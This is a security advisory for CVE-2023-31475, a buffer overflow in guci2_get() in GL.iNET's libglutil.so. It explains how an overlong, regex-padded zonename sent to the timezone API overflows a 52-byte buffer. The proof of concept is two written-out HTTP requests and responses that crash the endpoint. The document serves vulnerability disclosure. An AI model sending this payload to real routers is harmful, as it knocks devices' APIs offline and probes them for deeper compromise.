CVE-2023-31475: Buffer Overflow in guci2_get() of libglutil.so


CVE-2023-31475: Buffer Overflow in guci2_get() of libglutil.so

  • CVSS Score - 9.0, Critical (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
  • Overview - The function guci2_get() found in libglutil.so has a buffer overflow vulnerability where an item is requested from a UCI context, and the value is pasted into a char pointer to a buffer without checking the size of the buffer.
  • Description - The definition for the function guci2_get() is int guci2_get(int context, char *item, char *storage). libglutil.so is used by various custom GL.iNET binaries, such as the API FastCGI binary located at /www/api in GL.iNET devices. This FastCGI binary relies on guci2_get() heavily, and makes several calls to that function. The storage variable is always declared inside api with a static buffer size, but that buffer size is never communicated to the guci2_get() function. Inside of guci2_get(), the code sprintf(storage,"%s",*(ptr_to_value_retrieved_from_UCI_context)) is run, so if the value is longer than the buffer size, a buffer overflow occurs.
  • Impact
    • An example of this buffer overflow vulnerability can be found in timezone functionality of the /www/api binary. The API endpoint that sets the timezone is /api/router/timezone/set, which only requires the zonename parameter.
    • This zonename parameter is escaped (to prevent command injection) and piped into the command grep "%s" /usr/share/zoneinfo/tzdata.lua |awk -F"'" '{print $4}'. If output is found, then the UCI value system.@system[0].zonename is set to the provided zonename parameter.
    • The actual vulnerability lies in the API endpoints that retrieve the system.@system[0].zonename value. The API endpoint with the HTTP path /api/router/timezone/get does this, and has the guci2_get() function copy the zonename value into a 52-byte buffer, meaning any valid zonename value over 52 characters long causes a buffer overflow.
    • A “valid” zonename value simply has to return chars from the command grep "%s" /usr/share/zoneinfo/tzdata.lua |awk -F"'" '{print $4}'. Since grep accepts regular expressions, this allows you to match a specific string, while making the input parameter infinitely long. For example, the Linux command echo "abc" | grep "ab[czzzzzzzzz]" will return the string successfully. Since you can put in an infinitely long amount of z characters, you can easily achieve a buffer overflow.
    • Example of zonename value that is “valid” - Asia/D[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa] (140 chars)
    • Note that this buffer overflow example doesn’t lead to any malicious behavior or RCE since stack canaries present in the api executable prevent the attacker from overwriting the return address, and all other stack values are overwritten during function execution. However, this still leaves an attack vector open in other API endpoints or executables that rely on this function and either doesn’t have stack canaries, or stack canaries can be bypassed.
    • Also note that various “valid” zonename values will cause the endpoints /api/router/timezone/get and /api/router/app/status to always return a 500 Internal Server Error response (Denial of Service) since the buffer overflow overwrites the stack canary, causing the api executable to exit early.

Fix

This was not fixed, as the guci2_get() function still behaves the same way. Instead, the example I provided was fixed by setting grep to treat input as fixed strings and not regular expressions.

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
======= REQUEST 1 =======
POST /api/router/timezone/set HTTP/1.1
Host: 192.168.8.1
Authorization: 80dafe40822e4a59b6daabd659617963
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 149

zonename=Asia/D[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]

======= RESPONSE 1 =======
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 10
Connection: close
Date: Wed, 04 Jan 2023 00:29:13 GMT
Server: lighttpd/1.4.48

{"code":0}

======= REQUEST 2 =======
GET /api/router/timezone/get HTTP/1.1
Host: 192.168.8.1
Authorization: 80dafe40822e4a59b6daabd659617963
Connection: close


======= RESPONSE 2 =======
HTTP/1.1 200 OK
Content-Type: application/json
Expires: Wed, 04 Jan 2023 00:29:29 GMT
Cache-Control: max-age=1
Content-Length: 26750
Connection: close
Date: Wed, 04 Jan 2023 00:29:28 GMT
Server: lighttpd/1.4.48

{
"zonename":"Asia\/D[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaEET-2EEST,M3.5.5\/0,M10.5.5\/0", // the extra value `EET-2EEST,M3.5.5/0,M10.5.5/0` is added to the end of zonename since the timezone value is copied to the middle of zonename, and no null byte is found until after the timezone value
"timezone":"EET-2EEST,M3.5.5\/0,M10.5.5\/0",
"autotimezone":true,
"systemtime":"Wed Jan 4 02:29:28 EET 2023",
"timezone_list":[{"zonename":"Africa\/Abidjan","timezone":"GMT0"},...],
"code":0
}